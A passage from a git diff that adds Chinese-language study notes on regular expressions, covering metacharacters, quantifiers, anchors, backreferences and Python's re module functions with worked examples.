个无法匹配。 +- 也不匹配 runoob$, 因为它包含特殊字符。 + +```py +# 实例 +# 匹配以数字开头,并以 abc 结尾的字符串。: +var str = "123abc"; +var patt1 = /^[0-9]+abc$/; +document.write(str.match(patt1)); +# 以下标记的文本是获得的匹配的表达式: +123abc +``` + +## 为什么使用正则表达式? +典型的搜索和替换操作要求您提供与预期的搜索结果匹配的确切文本。虽然这种技术对于对静态文本执行简单搜索和替换任务可能已经足够了,但它缺乏灵活性,若采用这种方法搜索动态文本,即使不是不可能,至少也会变得很困难。 + +通过使用正则表达式,可以: +- 测试字符串内的模式。 + - 例如,可以测试输入字符串,以查看字符串内是否出现电话号码模式或信用卡号码模式。这称为数据验证。 +- 替换文本。 + - 可以使用正则表达式来识别文档中的特定文本,完全删除该文本或者用其他文本替换它。 +- 基于模式匹配从字符串中提取子字符串。 + - 可以查找文档内或输入域内特定的文本。 + +例如,您可能需要搜索整个网站,删除过时的材料,以及替换某些 HTML 格式标记。在这种情况下,可以使用正则表达式来确定在每个文件中是否出现该材料或该 HTML 格式标记。此过程将受影响的文件列表缩小到包含需要删除或更改的材料的那些文件。然后可以使用正则表达式来删除过时的材料。最后,可以使用正则表达式来搜索和替换标记。 + +发展历史 +正则表达式的"祖先"可以一直上溯至对人类神经系统如何工作的早期研究。Warren McCulloch 和 Walter Pitts 这两位神经生理学家研究出一种数学方式来描述这些神经网络。 + +1956 年, 一位叫 Stephen Kleene 的数学家在 McCulloch 和 Pitts 早期工作的基础上,发表了一篇标题为"神经网事件的表示法"的论文,引入了正则表达式的概念。正则表达式就是用来描述他称为"正则集的代数"的表达式,因此采用"正则表达式"这个术语。 + +随后,发现可以将这一工作应用于使用 Ken Thompson 的计算搜索算法的一些早期研究,Ken Thompson 是 Unix 的主要发明人。正则表达式的第一个实用应用程序就是 Unix 中的 qed 编辑器。 + +如他们所说,剩下的就是众所周知的历史了。从那时起直至现在正则表达式都是基于文本的编辑器和搜索工具中的一个重要部分。 + +应用领域 +目前,正则表达式已经在很多软件中得到广泛的应用,包括 nix(Linux, Unix等)、HP 等操作系统,PHP、C#、Java 等开发环境,以及很多的应用软件中,都可以看到正则表达式的影子。 + +C# 正则表达式 +在我们的 C# 教程中,C# 正则表达式 这一章节专门介绍了有关 C# 正则表达式的知识。 + +Java 正则表达式 +在我们的 Java 教程中,Java 正则表达式 这一章节专门介绍了有关 Java 正则表达式的知识。 + +JavaScript 正则表达式 +在我们的 JavaScript 教程中,JavaScript RegExp 对象 这一章节专门介绍了有关 JavaScript 正则表达式的知识,同时我们还提供了完整的 JavaScript RegExp 对象参考手册。 + +Python 正则表达式 +在我们的 Python 基础教程中,Python 正则表达式 这一章节专门介绍了有关 Python 正则表达式的知识。 + +Ruby 正则表达式 +在我们的 Ruby 教程中,Ruby 正则表达式 这一章节专门介绍了有关 Ruby 正则表达式的知识。 + +命令或环境 . [ ] ^ $ \( \) \{ \} ? + | ( ) +vi √ √ √ √ √           +Visual C++ √ √ √ √ √           +awk √ √ √ √   awk是支持该语法的,只是要在命令 行加入 --posix or --re-interval参数即可,可见 man awk中的interval expression √ √ √ √ +sed √ √ √ √ √ √         +delphi √ √ √ √ √   √ √ √ √ +python √ √ √ √ √ √ √ √ √ √ +java √ √ √ √ √ √ √ √ √  √  +javascript √ √ √ √ √   √ √ √ √ +php √ √ √ √ √           +perl √ √ √ √ √   √ √ √ √ +C# √ √ √ √     √ √ √ √ diff --git "a/_posts/00CodeNote/language/Python/course/Python11-Basic-byUMich/0.03d002.\346\255\243\345\210\231\350\241\250\350\276\276\345\274\217\350\257\255\346\263\225.md" "b/_posts/00CodeNote/language/Python/course/Python11-Basic-byUMich/0.03d002.\346\255\243\345\210\231\350\241\250\350\276\276\345\274\217\350\257\255\346\263\225.md" new file mode 100644 index 00000000000..a9bff613999 --- /dev/null +++ "b/_posts/00CodeNote/language/Python/course/Python11-Basic-byUMich/0.03d002.\346\255\243\345\210\231\350\241\250\350\276\276\345\274\217\350\257\255\346\263\225.md" @@ -0,0 +1,236 @@ + +[toc] + +# 正则表达式 - 语法 +正则表达式(regular expression)描述了一种字符串匹配的模式(pattern),可以用来检查一个串是否含有某种子串、将匹配的子串替换或者从某个串中取出符合某个条件的子串等。 + +例如: +- runoo+b,可以匹配 runo`o`b、runo`oo`b、runo`ooooo`b 等 + - `+` 号代表前面的字符必须至少出现一次(1次或多次)。 +- runoo*b,可以匹配 runob、runo`o`b、runo`ooooo`b 等 + - `*` 号代表字符可以不出现,也可以出现一次或者多次(0次、或1次、或多次)。 +- colou?r 可以匹配 color 或者 colo`u`r + - `?` 问号代表前面的字符最多只可以出现一次(0次、或1次)。 + +构造正则表达式的方法和创建数学表达式的方法一样。也就是用多种元字符与运算符可以将小的表达式结合在一起来创建更大的表达式。正则表达式的组件可以是单个的字符、字符集合、字符范围、字符间的选择或者所有这些组件的任意组合。 + +正则表达式是由普通字符(例如字符 a 到 z)以及特殊字符(称为"元字符")组成的文字模式。模式描述在搜索文本时要匹配的一个或多个字符串。正则表达式作为一个模板,将某个字符模式与所搜索的字符串进行匹配。 + +### 普通字符 +普通字符包括: +- 没有显式指定为元字符的所有可打印和不可打印字符。 +- 包括所有大写和小写字母、所有数字、所有标点符号和一些其他符号。 + +### 非打印字符 +非打印字符也可以是正则表达式的组成部分。 + +非打印字符的转义序列: +| 字符 | 描述 | 等价 | +| ----- | ------------------------------------------------ | ---------------------------------------------------------------------------------------------------------- | +| `\c`x | 匹配由x指明的控制字符。 | 例如, \cM 匹配一个 Control-M 或回车符。x 的值必须为 A-Z 或 a-z 之一。否则,将 c 视为一个原义的 'c' 字符。 | +| `\f` | 匹配一个换页符。 | 等价于 \x0c 和 \cL。 | +| `\n` | 匹配一个换行符。 | 等价于 \x0a 和 \cJ。 | +| `\r` | 匹配一个回车符。 | 等价于 \x0d 和 \cM。 | +| `\s` | 匹配任何空白字符,包括空格、制表符、换页符等等。 | 等价于 [ \f\n\r\t\v]。注意 Unicode 正则表达式会匹配全角空格符。 | +| `\S` | 匹配任何非空白字符。 | 等价于 [^ \f\n\r\t\v]。 | +| `\t` | 匹配一个制表符。 | 等价于 \x09 和 \cI。 | +| `\v` | 匹配一个垂直制表符。 | 等价于 \x0b 和 \cK。 | + +### 特殊字符 special character classes +- special character classes: 一些有特殊含义的字符 +- 如上面说的 runoo*b 中的 `*`,简单的说就是表示任何字符串的意思。 +- 如果要查找字符串中的 * 符号,则需要对 * 进行转义 + - 在其前加一个 \: runo\*ob 匹配 runo*ob。 + +- 许多元字符要求在试图匹配它们时特别对待。 +- 若要匹配这些特殊字符,必须首先使字符"转义", +- 将反斜杠字符 `\` 放在它们前面。 + +下表列出了正则表达式中的特殊字符: +| special character classes | description | +| ------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------- | +| `$` | 匹配输入字符串的结尾位置。如果设置了 RegExp 对象的 Multiline 属性,则 $ 也匹配 '\n' 或 '\r'。要匹配 $ 字符本身,使用 \$。 | +| `( )` | 标记一个子表达式的开始和结束位置。子表达式可以获取供以后使用。要匹配这些字符,使用 \( 和 \)。 | +| `*` | 匹配前面的子表达式零次或多次。要匹配 * 字符,请使用 \*。 | +| `+` | 匹配前面的子表达式 *一次或多次* 。要匹配 + 字符,请使用 \+。 | +| `.` | 匹配除换行符 \n 之外的任何单字符。要匹配 . ,请使用 \. 。 | +| `[` | 标记一个中括号表达式的开始。要匹配 [,请使用 \[。 | +| `?` | 匹配前面的子表达式零次或一次,或指明一个非贪婪限定符。要匹配 ? 字符,请使用 \?。 | +| `\` | 将下一个字符标记为或特殊字符、或原义字符、或向后引用、或八进制转义符。例如, 'n' 匹配字符 'n'。'\n' 匹配换行符。序列 '\\' 匹配 "\",而 '\(' 则匹配 "("。 | +| `^` | 匹配输入字符串的开始位置,除非在方括号表达式中使用,当该符号在方括号表达式中使用时,表示不接受该方括号表达式中的字符集合。要匹配 ^ 字符本身,请使用 \^。 | +| `{` | 标记限定符表达式的开始。要匹配 {,请使用 \{。 | +| ` | ` | 指明两项之间的一个选择。要匹配 | ,请使用 \|。 | + +| special character classes | description | +| ------------------------- | ------------------------------------------- | +| `.` | match any character except newline | +| `\d` | match a digit: [0-9] | +| `\D` | match a nondigit: [^0-9] | +| `\s` | match a whitespace character: [\t\r\n\f] | +| `\S` | match nonwhitespace | +| `\w` | match a single word character: [A-Za-z0-9_] | +| `\W` | match a nonword character: [^A-Za-z0-9_] | + + + +### 限定符 +- 限定符: 用来指定正则表达式的一个给定组件必须要出现多少次才能满足匹配。 +- 有 * 或 + 或 ? 或 {n} 或 {n,} 或 {n,m} 共6种。 + +正则表达式的限定符有: +| 字符 | 描述 | +| ------- | --------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------- | +| `*` | 匹配前面的子表达式零次或多次。 | 例: `zo*` 能匹配 "z" 以及 "zoo"。 * 等价于{0,}。 | +| `+` | 匹配前面的子表达式一次或多次。 | 例: `zo+` 能匹配 "zo" 以及 "zoo",但不能匹配 "z"。 + 等价于 {1,}。 | +| `?` | 匹配前面的子表达式零次或一次。 | 例: `do(es)?` 匹配 "do", "does" 中的 "does", "doxy" 中的 "do" 。? 等价于 {0,1}。 | +| `{n}` | n 是一个非负整数。匹配确定的 n | 例: `o{2}` 不能匹配 "Bob" 中的 'o',但是能匹配 "food" 中的两个 o。 | +| `{n,}` | n 是一个非负整数。至少匹配n 次。 | 例: `o{2,}` 不能匹配 "Bob" 中的 'o',但能匹配 "foooood" 中的所有 o。'o{1,}' 等价于 'o+'。'o{0,}' 则等价于 'o*'。 | +| `{n,m}` | m 和 n 均为非负整数,其中n <= m。最少匹配 n 次且最多匹配 m 次。 | 例如,`o{1,3}` 将匹配 "fooooood" 中的前三个 o。'o{0,1}' 等价于 'o?'。请注意在逗号和两个数之间不能有空格。 | + + +```py + +# 以下正则表达式匹配一个正整数 +# [1-9]设置第一个数字不是 0,[0-9]* 表示任意多个数字: +/[1-9][0-9]*/ + +- 请注意,限定符出现在范围表达式之后。因此,它应用于整个范围表达式,在本例中,只指定从 0 到 9 的数字(包括 0 和 9)。 +- 不使用 + 限定符,因为在第二个位置或后面的位置不一定需要有一个数字。也不使用 ? 字符,因为使用 ? 会将整数限制到只有两位数。 + + +# 设置 0~99 的两位数 +# 使用下面的表达式来至少指定一位但至多两位数字。 +/[0-9]{1,2}/ +# 上面的表达式的缺点是,只能匹配两位数字,而且可以匹配 0、00、01、10 99 的章节编号仍只匹配开头两位数字。 + +#改进下,匹配 1~99 的正整数表达式如下: +/[1-9][0-9]?/ or /[1-9][0-9]{0,1}/ + + +``` + + +`*、+` 限定符都是贪婪的,因为它们会尽可能多的匹配文字,只有在它们的后面加上一个?就可以实现非贪婪或最小匹配。 + + +例如,您可能搜索 HTML 文档,查找在 h1 标签内的内容。 +HTML 代码如下: +`

    RUNOOB-菜鸟教程

    ` + +贪婪:下面的表达式匹配从开始小于符号 (<) 到关闭 h1 标记的大于符号 (>) 之间的所有内容。 +`/<.*>/` + + +非贪婪:如果您只需要匹配开始和结束 h1 标签,下面的非贪婪表达式只匹配

    。 + +`/<.*?>/` + + +也可以使用以下正则表达式来匹配 h1 标签,表达式则是: + +`/<\w+?>/` + + +通过在 *、+ 或 ? 限定符之后放置 ?,该表达式从"贪婪"表达式转换为"非贪婪"表达式或者最小匹配。 + +定位符 +定位符使您能够将正则表达式固定到行首或行尾。它们还使您能够创建这样的正则表达式,这些正则表达式出现在一个单词内、在一个单词的开头或者一个单词的结尾。 + +定位符用来描述字符串或单词的边界,^ 和 $ 分别指字符串的开始与结束,\b 描述单词的前或后边界,\B 表示非单词边界。 + +正则表达式的定位符有: + +字符 描述 +^ 匹配输入字符串开始的位置。如果设置了 RegExp 对象的 Multiline 属性,^ 还会与 \n 或 \r 之后的位置匹配。 +$ 匹配输入字符串结尾的位置。如果设置了 RegExp 对象的 Multiline 属性,$ 还会与 \n 或 \r 之前的位置匹配。 +\b 匹配一个单词边界,即字与空格间的位置。 +\B 非单词边界匹配。 +注意:不能将限定符与定位符一起使用。由于在紧靠换行或者单词边界的前面或后面不能有一个以上位置,因此不允许诸如 ^* 之类的表达式。 + +若要匹配一行文本开始处的文本,请在正则表达式的开始使用 ^ 字符。不要将 ^ 的这种用法与中括号表达式内的用法混淆。 + +若要匹配一行文本的结束处的文本,请在正则表达式的结束处使用 $ 字符。 + +若要在搜索章节标题时使用定位点,下面的正则表达式匹配一个章节标题,该标题只包含两个尾随数字,并且出现在行首: + +/^Chapter [1-9][0-9]{0,1}/ +真正的章节标题不仅出现行的开始处,而且它还是该行中仅有的文本。它即出现在行首又出现在同一行的结尾。下面的表达式能确保指定的匹配只匹配章节而不匹配交叉引用。通过创建只匹配一行文本的开始和结尾的正则表达式,就可做到这一点。 + +/^Chapter [1-9][0-9]{0,1}$/ +匹配单词边界稍有不同,但向正则表达式添加了很重要的能力。单词边界是单词和空格之间的位置。非单词边界是任何其他位置。下面的表达式匹配单词 Chapter 的开头三个字符,因为这三个字符出现在单词边界后面: + +/\bCha/ +\b 字符的位置是非常重要的。如果它位于要匹配的字符串的开始,它在单词的开始处查找匹配项。如果它位于字符串的结尾,它在单词的结尾处查找匹配项。例如,下面的表达式匹配单词 Chapter 中的字符串 ter,因为它出现在单词边界的前面: + +/ter\b/ +下面的表达式匹配 Chapter 中的字符串 apt,但不匹配 aptitude 中的字符串 apt: + +/\Bapt/ +字符串 apt 出现在单词 Chapter 中的非单词边界处,但出现在单词 aptitude 中的单词边界处。对于 \B 非单词边界运算符,位置并不重要,因为匹配不关心究竟是单词的开头还是结尾。 + +选择 +用圆括号将所有选择项括起来,相邻的选择项之间用|分隔。但用圆括号会有一个副作用,使相关的匹配会被缓存,此时可用?:放在第一个选项前来消除这种副作用。 + +其中 ?: 是非捕获元之一,还有两个非捕获元是 ?= 和 ?!,这两个还有更多的含义,前者为正向预查,在任何开始匹配圆括号内的正则表达式模式的位置来匹配搜索字符串,后者为负向预查,在任何开始不匹配该正则表达式模式的位置来匹配搜索字符串。 + +反向引用 +对一个正则表达式模式或部分模式两边添加圆括号将导致相关匹配存储到一个临时缓冲区中,所捕获的每个子匹配都按照在正则表达式模式中从左到右出现的顺序存储。缓冲区编号从 1 开始,最多可存储 99 个捕获的子表达式。每个缓冲区都可以使用 \n 访问,其中 n 为一个标识特定缓冲区的一位或两位十进制数。 + +可以使用非捕获元字符 ?:、?= 或 ?! 来重写捕获,忽略对相关匹配的保存。 + +反向引用的最简单的、最有用的应用之一,是提供查找文本中两个相同的相邻单词的匹配项的能力。以下面的句子为例: + +Is is the cost of of gasoline going up up? +上面的句子很显然有多个重复的单词。如果能设计一种方法定位该句子,而不必查找每个单词的重复出现,那该有多好。下面的正则表达式使用单个子表达式来实现这一点: + +实例 +查找重复的单词: + +var str = "Is is the cost of of gasoline going up up"; +var patt1 = /\b([a-z]+) \1\b/ig; +document.write(str.match(patt1)); + +尝试一下 » +捕获的表达式,正如 [a-z]+ 指定的,包括一个或多个字母。正则表达式的第二部分是对以前捕获的子匹配项的引用,即,单词的第二个匹配项正好由括号表达式匹配。\1 指定第一个子匹配项。 + +单词边界元字符确保只检测整个单词。否则,诸如 "is issued" 或 "this is" 之类的词组将不能正确地被此表达式识别。 + +正则表达式后面的全局标记 g 指定将该表达式应用到输入字符串中能够查找到的尽可能多的匹配。 + +表达式的结尾处的不区分大小写 i 标记指定不区分大小写。 + +多行标记指定换行符的两边可能出现潜在的匹配。 + +反向引用还可以将通用资源指示符 (URI) 分解为其组件。假定您想将下面的 URI 分解为协议(ftp、http 等等)、域地址和页/路径: + +https://www.runoob.com:80/html/html-tutorial.html +下面的正则表达式提供该功能: + +实例 +输出所有匹配的数据: + +var str = "https://www.runoob.com:80/html/html-tutorial.html"; +var patt1 = /(\w+):\/\/([^/:]+)(:\d*)?([^# ]*)/; +arr = str.match(patt1); +for (var i = 0; i < arr.length ; i++) { + document.write(arr[i]); + document.write("
    "); +} + +尝试一下 » +第三行代码 str.match(patt1) 返回一个数组,实例中的数组包含 5 个元素,索引 0 对应的是整个字符串,索引 1 对应第一个匹配符(括号内),以此类推。 + +第一个括号子表达式捕获 Web 地址的协议部分。该子表达式匹配在冒号和两个正斜杠前面的任何单词。 + +第二个括号子表达式捕获地址的域地址部分。子表达式匹配非 : 和 / 之后的一个或多个字符。 + +第三个括号子表达式捕获端口号(如果指定了的话)。该子表达式匹配冒号后面的零个或多个数字。只能重复一次该子表达式。 + +最后,第四个括号子表达式捕获 Web 地址指定的路径和 / 或页信息。该子表达式能匹配不包括 # 或空格字符的任何字符序列。 + +将正则表达式应用到上面的 URI,各子匹配项包含下面的内容: + +第一个括号子表达式包含 http +第二个括号子表达式包含 www.runoob.com +第三个括号子表达式包含 :80 +第四个括号子表达式包含 /html/html-tutorial.html diff --git "a/_posts/00CodeNote/language/Python/course/Python11-Basic-byUMich/0.03d100.\346\255\243\345\210\231\350\241\250\350\276\276\345\274\217.md" "b/_posts/00CodeNote/language/Python/course/Python11-Basic-byUMich/0.03d100.\346\255\243\345\210\231\350\241\250\350\276\276\345\274\217.md" new file mode 100644 index 00000000000..a01e542b191 --- /dev/null +++ "b/_posts/00CodeNote/language/Python/course/Python11-Basic-byUMich/0.03d100.\346\255\243\345\210\231\350\241\250\350\276\276\345\274\217.md" @@ -0,0 +1,418 @@ + +[toc] + +# 正则表达式 +- 正则表达式是一个特殊的字符序列,它能帮助你方便的检查一个字符串是否与某种模式匹配。 +- Python 自1.5版本起增加了re 模块,它提供 Perl 风格的正则表达式模式。 +- re 模块使 Python 语言拥有全部的正则表达式功能。 +- compile 函数根据一个模式字符串和可选的标志参数生成一个正则表达式对象。该对象拥有一系列方法用于正则表达式匹配和替换。 +- re 模块也提供了与这些方法功能完全一致的函数,这些函数使用一个模式字符串做为它们的第一个参数。 +- 本章节主要介绍 Python 中常用的正则表达式处理函数,如果你对正则表达式不了解,可以查看我们的 正则表达式 - 教程。 + +## `re.match`函数 +- 尝试从字符串的起始位置匹配一个模式 + - 匹配成功re.match方法返回一个匹配的对象,否则返回None。 + - 如果不是起始位置匹配成功的话,match()就返回none。 + +```py +# 语法: +re.match(pattern, string, flags=0) + +1. 函数参数: + - pattern: 匹配的正则表达式 + - string: 要匹配的字符串。 + - flags: 标志位,用于控制正则表达式的匹配方式,如:是否区分大小写,多行匹配等等。参见:正则表达式修饰符 - 可选标志 + + +2. 使用group(num) 或 groups() 匹配对象函数来获取匹配表达式。 + - group(num=0): 匹配的整个表达式的字符串,group() 可以一次输入多个组号,在这种情况下它将返回一个包含那些组所对应值的元组。 + - groups(): 返回一个包含所有小组字符串的元组,从 1 到 所含的小组号。 + +# 实例 +>>> import re +>>> print(re.match('www', 'www.runoob.com').span()) # 在起始位置匹配 +>>> print(re.match('com', 'www.runoob.com')) # 不在起始位置匹配 +(0, 3) +None + +# 实例 +>>> import re +>>> line = "Cats are smarter than dogs" +# .* 表示任意匹配除换行符(\n、\r)之外的任何单个或多个字符 +>>> matchObj = re.match( r'(.*) are (.*?) .*', line, re.M|re.I) + +>>> if matchObj: +>>> print ("matchObj.group() : ", matchObj.group()) +>>> print ("matchObj.group(1) : ", matchObj.group(1)) +>>> print ("matchObj.group(2) : ", matchObj.group(2)) +>>> else: +>>> print ("No match!!") +matchObj.group() : Cats are smarter than dogs +matchObj.group(1) : Cats +matchObj.group(2) : smarter +``` + +## re.search方法 +re.search 扫描整个字符串并返回第一个成功的匹配。 + +函数语法: + +re.search(pattern, string, flags=0) +函数参数说明: + +参数 描述 +pattern 匹配的正则表达式 +string 要匹配的字符串。 +flags 标志位,用于控制正则表达式的匹配方式,如:是否区分大小写,多行匹配等等。参见:正则表达式修饰符 - 可选标志 +匹配成功re.search方法返回一个匹配的对象,否则返回None。 + +我们可以使用group(num) 或 groups() 匹配对象函数来获取匹配表达式。 + +匹配对象方法 描述 +group(num=0) 匹配的整个表达式的字符串,group() 可以一次输入多个组号,在这种情况下它将返回一个包含那些组所对应值的元组。 +groups() 返回一个包含所有小组字符串的元组,从 1 到 所含的小组号。 +实例 +#!/usr/bin/python3 + +import re + +print(re.search('www', 'www.runoob.com').span()) # 在起始位置匹配 +print(re.search('com', 'www.runoob.com').span()) # 不在起始位置匹配 +以上实例运行输出结果为: + +(0, 3) +(11, 14) +实例 +#!/usr/bin/python3 + +import re + +line = "Cats are smarter than dogs"; + +searchObj = re.search( r'(.*) are (.*?) .*', line, re.M|re.I) + +if searchObj: + print ("searchObj.group() : ", searchObj.group()) + print ("searchObj.group(1) : ", searchObj.group(1)) + print ("searchObj.group(2) : ", searchObj.group(2)) +else: + print ("Nothing found!!") +以上实例执行结果如下: +searchObj.group() : Cats are smarter than dogs +searchObj.group(1) : Cats +searchObj.group(2) : smarter +re.match与re.search的区别 +re.match只匹配字符串的开始,如果字符串开始不符合正则表达式,则匹配失败,函数返回None;而re.search匹配整个字符串,直到找到一个匹配。 + +实例 +#!/usr/bin/python3 + +import re + +line = "Cats are smarter than dogs"; + +matchObj = re.match( r'dogs', line, re.M|re.I) +if matchObj: + print ("match --> matchObj.group() : ", matchObj.group()) +else: + print ("No match!!") + +matchObj = re.search( r'dogs', line, re.M|re.I) +if matchObj: + print ("search --> matchObj.group() : ", matchObj.group()) +else: + print ("No match!!") +以上实例运行结果如下: +No match!! +search --> matchObj.group() : dogs +检索和替换 +Python 的re模块提供了re.sub用于替换字符串中的匹配项。 + +语法: + +re.sub(pattern, repl, string, count=0, flags=0) +参数: + +pattern : 正则中的模式字符串。 +repl : 替换的字符串,也可为一个函数。 +string : 要被查找替换的原始字符串。 +count : 模式匹配后替换的最大次数,默认 0 表示替换所有的匹配。 +flags : 编译时用的匹配模式,数字形式。 +前三个为必选参数,后两个为可选参数。 + +实例 +#!/usr/bin/python3 +import re + +phone = "2004-959-559 # 这是一个电话号码" + +# 删除注释 +num = re.sub(r'#.*$', "", phone) +print ("电话号码 : ", num) + +# 移除非数字的内容 +num = re.sub(r'\D', "", phone) +print ("电话号码 : ", num) +以上实例执行结果如下: + +电话号码 : 2004-959-559 +电话号码 : 2004959559 +repl 参数是一个函数 +以下实例中将字符串中的匹配的数字乘于 2: + +实例 +#!/usr/bin/python + +import re + +# 将匹配的数字乘于 2 +def double(matched): + value = int(matched.group('value')) + return str(value * 2) + +s = 'A23G4HFD567' +print(re.sub('(?P\d+)', double, s)) +执行输出结果为: + +A46G8HFD1134 +compile 函数 +compile 函数用于编译正则表达式,生成一个正则表达式( Pattern )对象,供 match() 和 search() 这两个函数使用。 + +语法格式为: + +re.compile(pattern[, flags]) +参数: + +pattern : 一个字符串形式的正则表达式 +flags 可选,表示匹配模式,比如忽略大小写,多行模式等,具体参数为: +re.I 忽略大小写 +re.L 表示特殊字符集 \w, \W, \b, \B, \s, \S 依赖于当前环境 +re.M 多行模式 +re.S 即为' . '并且包括换行符在内的任意字符(' . '不包括换行符) +re.U 表示特殊字符集 \w, \W, \b, \B, \d, \D, \s, \S 依赖于 Unicode 字符属性数据库 +re.X 为了增加可读性,忽略空格和' # '后面的注释 +实例 +实例 +>>>import re +>>> pattern = re.compile(r'\d+') # 用于匹配至少一个数字 +>>> m = pattern.match('one12twothree34four') # 查找头部,没有匹配 +>>> print m +None +>>> m = pattern.match('one12twothree34four', 2, 10) # 从'e'的位置开始匹配,没有匹配 +>>> print m +None +>>> m = pattern.match('one12twothree34four', 3, 10) # 从'1'的位置开始匹配,正好匹配 +>>> print m # 返回一个 Match 对象 +<_sre.SRE_Match object at 0x10a42aac0> +>>> m.group(0) # 可省略 0 +'12' +>>> m.start(0) # 可省略 0 +3 +>>> m.end(0) # 可省略 0 +5 +>>> m.span(0) # 可省略 0 +(3, 5) +在上面,当匹配成功时返回一个 Match 对象,其中: + +group([group1, …]) 方法用于获得一个或多个分组匹配的字符串,当要获得整个匹配的子串时,可直接使用 group() 或 group(0); +start([group]) 方法用于获取分组匹配的子串在整个字符串中的起始位置(子串第一个字符的索引),参数默认值为 0; +end([group]) 方法用于获取分组匹配的子串在整个字符串中的结束位置(子串最后一个字符的索引+1),参数默认值为 0; +span([group]) 方法返回 (start(group), end(group))。 +再看看一个例子: + +实例 +>>>import re +>>> pattern = re.compile(r'([a-z]+) ([a-z]+)', re.I) # re.I 表示忽略大小写 +>>> m = pattern.match('Hello World Wide Web') +>>> print m # 匹配成功,返回一个 Match 对象 +<_sre.SRE_Match object at 0x10bea83e8> +>>> m.group(0) # 返回匹配成功的整个子串 +'Hello World' +>>> m.span(0) # 返回匹配成功的整个子串的索引 +(0, 11) +>>> m.group(1) # 返回第一个分组匹配成功的子串 +'Hello' +>>> m.span(1) # 返回第一个分组匹配成功的子串的索引 +(0, 5) +>>> m.group(2) # 返回第二个分组匹配成功的子串 +'World' +>>> m.span(2) # 返回第二个分组匹配成功的子串索引 +(6, 11) +>>> m.groups() # 等价于 (m.group(1), m.group(2), ...) +('Hello', 'World') +>>> m.group(3) # 不存在第三个分组 +Traceback (most recent call last): + File "", line 1, in +IndexError: no such group +findall +在字符串中找到正则表达式所匹配的所有子串,并返回一个列表,如果没有找到匹配的,则返回空列表。 + +注意: match 和 search 是匹配一次 findall 匹配所有。 + +语法格式为: + +re.findall(string[, pos[, endpos]]) +参数: + +string 待匹配的字符串。 +pos 可选参数,指定字符串的起始位置,默认为 0。 +endpos 可选参数,指定字符串的结束位置,默认为字符串的长度。 +查找字符串中的所有数字: + +实例 +import re + +pattern = re.compile(r'\d+') # 查找数字 +result1 = pattern.findall('runoob 123 google 456') +result2 = pattern.findall('run88oob123google456', 0, 10) + +print(result1) +print(result2) +输出结果: + +['123', '456'] +['88', '12'] +re.finditer +和 findall 类似,在字符串中找到正则表达式所匹配的所有子串,并把它们作为一个迭代器返回。 + +re.finditer(pattern, string, flags=0) +参数: + +参数 描述 +pattern 匹配的正则表达式 +string 要匹配的字符串。 +flags 标志位,用于控制正则表达式的匹配方式,如:是否区分大小写,多行匹配等等。参见:正则表达式修饰符 - 可选标志 +实例 +import re + +it = re.finditer(r"\d+","12a32bc43jf3") +for match in it: + print (match.group() ) +输出结果: + +12 +32 +43 +3 +re.split +split 方法按照能够匹配的子串将字符串分割后返回列表,它的使用形式如下: + +re.split(pattern, string[, maxsplit=0, flags=0]) +参数: + +参数 描述 +pattern 匹配的正则表达式 +string 要匹配的字符串。 +maxsplit 分隔次数,maxsplit=1 分隔一次,默认为 0,不限制次数。 +flags 标志位,用于控制正则表达式的匹配方式,如:是否区分大小写,多行匹配等等。参见:正则表达式修饰符 - 可选标志 +实例 +>>>import re +>>> re.split('\W+', 'runoob, runoob, runoob.') +['runoob', 'runoob', 'runoob', ''] +>>> re.split('(\W+)', ' runoob, runoob, runoob.') +['', ' ', 'runoob', ', ', 'runoob', ', ', 'runoob', '.', ''] +>>> re.split('\W+', ' runoob, runoob, runoob.', 1) +['', 'runoob, runoob, runoob.'] + +>>> re.split('a*', 'hello world') # 对于一个找不到匹配的字符串而言,split 不会对其作出分割 +['hello world'] +正则表达式对象 +re.RegexObject +re.compile() 返回 RegexObject 对象。 + +re.MatchObject +group() 返回被 RE 匹配的字符串。 + +start() 返回匹配开始的位置 +end() 返回匹配结束的位置 +span() 返回一个元组包含匹配 (开始,结束) 的位置 +正则表达式修饰符 - 可选标志 +正则表达式可以包含一些可选标志修饰符来控制匹配的模式。修饰符被指定为一个可选的标志。多个标志可以通过按位 OR(|) 它们来指定。如 re.I | re.M 被设置成 I 和 M 标志: + +修饰符 描述 +re.I 使匹配对大小写不敏感 +re.L 做本地化识别(locale-aware)匹配 +re.M 多行匹配,影响 ^ 和 $ +re.S 使 . 匹配包括换行在内的所有字符 +re.U 根据Unicode字符集解析字符。这个标志影响 \w, \W, \b, \B. +re.X 该标志通过给予你更灵活的格式以便你将正则表达式写得更易于理解。 +正则表达式模式 +模式字符串使用特殊的语法来表示一个正则表达式: + +字母和数字表示他们自身。一个正则表达式模式中的字母和数字匹配同样的字符串。 + +多数字母和数字前加一个反斜杠时会拥有不同的含义。 + +标点符号只有被转义时才匹配自身,否则它们表示特殊的含义。 + +反斜杠本身需要使用反斜杠转义。 + +由于正则表达式通常都包含反斜杠,所以你最好使用原始字符串来表示它们。模式元素(如 r'\t',等价于 \\t )匹配相应的特殊字符。 + +下表列出了正则表达式模式语法中的特殊元素。如果你使用模式的同时提供了可选的标志参数,某些模式元素的含义会改变。 + +模式 描述 +^ 匹配字符串的开头 +$ 匹配字符串的末尾。 +. 匹配任意字符,除了换行符,当re.DOTALL标记被指定时,则可以匹配包括换行符的任意字符。 +[...] 用来表示一组字符,单独列出:[amk] 匹配 'a','m'或'k' +[^...] 不在[]中的字符:[^abc] 匹配除了a,b,c之外的字符。 +re* 匹配0个或多个的表达式。 +re+ 匹配1个或多个的表达式。 +re? 匹配0个或1个由前面的正则表达式定义的片段,非贪婪方式 +re{ n} 匹配n个前面表达式。例如,"o{2}"不能匹配"Bob"中的"o",但是能匹配"food"中的两个o。 +re{ n,} 精确匹配n个前面表达式。例如,"o{2,}"不能匹配"Bob"中的"o",但能匹配"foooood"中的所有o。"o{1,}"等价于"o+"。"o{0,}"则等价于"o*"。 +re{ n, m} 匹配 n 到 m 次由前面的正则表达式定义的片段,贪婪方式 +a| b 匹配a或b +(re) 匹配括号内的表达式,也表示一个组 +(?imx) 正则表达式包含三种可选标志:i, m, 或 x 。只影响括号中的区域。 +(?-imx) 正则表达式关闭 i, m, 或 x 可选标志。只影响括号中的区域。 +(?: re) 类似 (...), 但是不表示一个组 +(?imx: re) 在括号中使用i, m, 或 x 可选标志 +(?-imx: re) 在括号中不使用i, m, 或 x 可选标志 +(?#...) 注释. +(?= re) 前向肯定界定符。如果所含正则表达式,以 ... 